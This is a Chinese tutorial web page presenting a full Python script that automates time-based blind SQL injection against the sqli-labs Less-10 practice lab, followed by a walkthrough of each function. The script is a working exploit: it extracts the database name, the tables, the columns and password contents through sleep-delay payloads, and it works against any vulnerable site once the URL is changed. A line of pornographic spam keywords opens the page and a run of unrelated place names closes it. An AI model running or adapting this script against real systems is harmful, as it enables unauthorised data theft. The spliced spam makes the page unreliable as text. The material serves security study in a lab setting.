最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python實(shí)現(xiàn)自動(dòng)化的sql延時(shí)注入

 更新時(shí)間:2024年12月12日 09:49:49   作者:樂茵安全  
這篇文章主要為大家詳細(xì)介紹了如何基于python實(shí)現(xiàn)自動(dòng)化的sql延時(shí)注入腳本,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下

自動(dòng)化的sql延時(shí)注入腳本

源碼

import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#獲取數(shù)據(jù)庫長(zhǎng)度
def database_len():
    for i in range(1,10):
        payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #計(jì)算時(shí)間差, 忽略天 只看時(shí)分秒   total_seconds() 真正的時(shí)間差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('數(shù)據(jù)庫長(zhǎng)度為:',i)
 
#database_len()
 
 
#獲取數(shù)據(jù)庫名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('數(shù)據(jù)庫名字為:'+n)
 
#datebase_name()
 
#獲取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一個(gè)表為:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二個(gè)表為:',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三個(gè)表為:',table3)
                    elif i == 3:
                        table4 += t
                        print('第四個(gè)表為:',table4)
                    else:
                        break
    print('第一個(gè)表為'+table1)
    print('第二個(gè)表為'+table2)
    print('第三個(gè)表為' + table3)
    print('第四個(gè)表為' + table4)
 
 
#tables_name()
 
#獲取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一為:'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二為:'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三為:'+column3)
                    else:
                        break
    print('users字段一為:'+column1)
    print('字段二為:'+column2)
    print('字段三為:',column3)
 
 
#table_column()
 
def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一內(nèi)容為:'+content1)
                        break
 
    print('字段內(nèi)容為:'+content1)
 
 
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('總花費(fèi)時(shí)間為',end_start_time,'秒')”

源碼詳解

這段代碼是一個(gè)Python腳本,用于通過SQL注入漏洞來探測(cè)和提取一個(gè)Web應(yīng)用程序的數(shù)據(jù)庫信息。它使用了requests庫來發(fā)送HTTP請(qǐng)求,并使用time和datetime庫來測(cè)量響應(yīng)時(shí)間,從而推斷出數(shù)據(jù)庫的結(jié)構(gòu)和內(nèi)容。

導(dǎo)入庫

import requests
import time
import datetime

requests: 用于發(fā)送HTTP請(qǐng)求。

time 和 datetime: 用于測(cè)量時(shí)間差。

定義URL

url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"

目標(biāo)URL,用于發(fā)送SQL注入請(qǐng)求。

定義字符集

p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'

包含所有可能的字符,用于構(gòu)造SQL注入的payload。

獲取數(shù)據(jù)庫長(zhǎng)度

def database_len():
    # ...

通過逐步增加length(database())的值,并測(cè)量響應(yīng)時(shí)間來確定數(shù)據(jù)庫名稱的長(zhǎng)度。

獲取數(shù)據(jù)庫名

def datebase_name():
    # ...

通過逐個(gè)字符地探測(cè)數(shù)據(jù)庫名稱,并測(cè)量響應(yīng)時(shí)間來確定每個(gè)字符。

獲取表名

def tables_name():
    # ...

通過查詢information_schema.tables表,并測(cè)量響應(yīng)時(shí)間來確定表名。

獲取表中的字段

def table_column():
    # ...

通過查詢information_schema.columns表,并測(cè)量響應(yīng)時(shí)間來確定字段名。

獲取字段內(nèi)容

def s_content():
    # ...

通過查詢特定表的特定字段,并測(cè)量響應(yīng)時(shí)間來確定字段的內(nèi)容。

主程序

start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('總花費(fèi)時(shí)間為', end_start_time, '秒')

記錄開始時(shí)間,依次調(diào)用上述函數(shù)來獲取數(shù)據(jù)庫信息,記錄結(jié)束時(shí)間,并計(jì)算總耗時(shí)。

注意事項(xiàng)

SQL注入風(fēng)險(xiǎn): 這段代碼利用了SQL注入漏洞,實(shí)際應(yīng)用中應(yīng)避免這種不安全的做法。

法律和道德: 在未經(jīng)授權(quán)的情況下進(jìn)行此類操作是違法的,應(yīng)確保在合法和授權(quán)的環(huán)境中使用。

代碼注釋: 代碼中有大量被注釋掉的print語句,這些語句可以幫助調(diào)試和理解代碼的執(zhí)行過程。

總結(jié)

這段代碼通過構(gòu)造特定的SQL注入payload,并利用時(shí)間延遲來逐步揭示數(shù)據(jù)庫的結(jié)構(gòu)和內(nèi)容。雖然這種方法在安全研究中有一定的價(jià)值,但在實(shí)際應(yīng)用中應(yīng)嚴(yán)格遵守法律法規(guī)和道德準(zhǔn)則。

到此這篇關(guān)于python實(shí)現(xiàn)自動(dòng)化的sql延時(shí)注入的文章就介紹到這了,更多相關(guān)python sql延時(shí)注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python中update的基本使用方法詳解

    python中update的基本使用方法詳解

    這篇文章主要介紹了python中update的基本使用方法詳解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-07-07
  • python如何做代碼性能分析

    python如何做代碼性能分析

    這篇文章主要介紹了python如何做代碼性能分析,幫助大家更好的理解和學(xué)習(xí)使用python,感興趣的朋友可以了解下
    2021-04-04
  • python+opencv邊緣提取與各函數(shù)參數(shù)解析

    python+opencv邊緣提取與各函數(shù)參數(shù)解析

    這篇文章主要介紹了python+opencv邊緣提取與各函數(shù)參數(shù)解析,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-03-03
  • 淺談Python生成器generator之next和send的運(yùn)行流程(詳解)

    淺談Python生成器generator之next和send的運(yùn)行流程(詳解)

    下面小編就為大家?guī)硪黄獪\談Python生成器generator之next和send的運(yùn)行流程(詳解)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2017-05-05
  • 深入理解Python 多線程

    深入理解Python 多線程

    這篇文章主要介紹了Python 多線程的相關(guān)知識(shí),文中講解的非常詳細(xì),代碼幫助大家更好的理解和學(xué)習(xí),感興趣的朋友可以了解下
    2020-06-06
  • TensorFlow基于MNIST數(shù)據(jù)集實(shí)現(xiàn)車牌識(shí)別(初步演示版)

    TensorFlow基于MNIST數(shù)據(jù)集實(shí)現(xiàn)車牌識(shí)別(初步演示版)

    這篇文章主要介紹了TensorFlow基于MNIST數(shù)據(jù)集實(shí)現(xiàn)車牌識(shí)別(初步演示版),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-08-08
  • Pandas字符串操作的各種方法及速度測(cè)試

    Pandas字符串操作的各種方法及速度測(cè)試

    這篇文章主要為大家介紹了Pandas字符串操作的各種方法及速度測(cè)試,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-08-08
  • 在Python的Flask框架中驗(yàn)證注冊(cè)用戶的Email的方法

    在Python的Flask框架中驗(yàn)證注冊(cè)用戶的Email的方法

    這篇文章主要介紹了在Python的Flask框架中驗(yàn)證注冊(cè)用戶的Email的方法,包括非常詳細(xì)的測(cè)試過程,極力推薦!需要的朋友可以參考下
    2015-09-09
  • python xlsxwriter庫生成圖表的應(yīng)用示例

    python xlsxwriter庫生成圖表的應(yīng)用示例

    這篇文章主要介紹了python xlsxwriter庫生成圖表的應(yīng)用示例,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2018-03-03
  • Python將多個(gè)list合并為1個(gè)list的方法

    Python將多個(gè)list合并為1個(gè)list的方法

    今天小編就為大家分享一篇Python將多個(gè)list合并為1個(gè)list的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2018-06-06

最新評(píng)論

蕲春县| 油尖旺区| 河间市| 三河市| 青川县| 洛浦县| 锦州市| 托克托县| 巴彦县| 扎鲁特旗| 晋中市| 喀什市| 凌云县| 大余县| 来宾市| 峨眉山市| 来凤县| 福州市| 运城市| 阿克苏市| 高碑店市| 张家口市| 铜梁县| 克东县| 南木林县| 且末县| 南乐县| 秦皇岛市| 陕西省| 大安市| 游戏| 当阳市| 武乡县| 麻栗坡县| 乳山市| 阿勒泰市| 南宁市| 洞头县| 华亭县| 高唐县| 理塘县|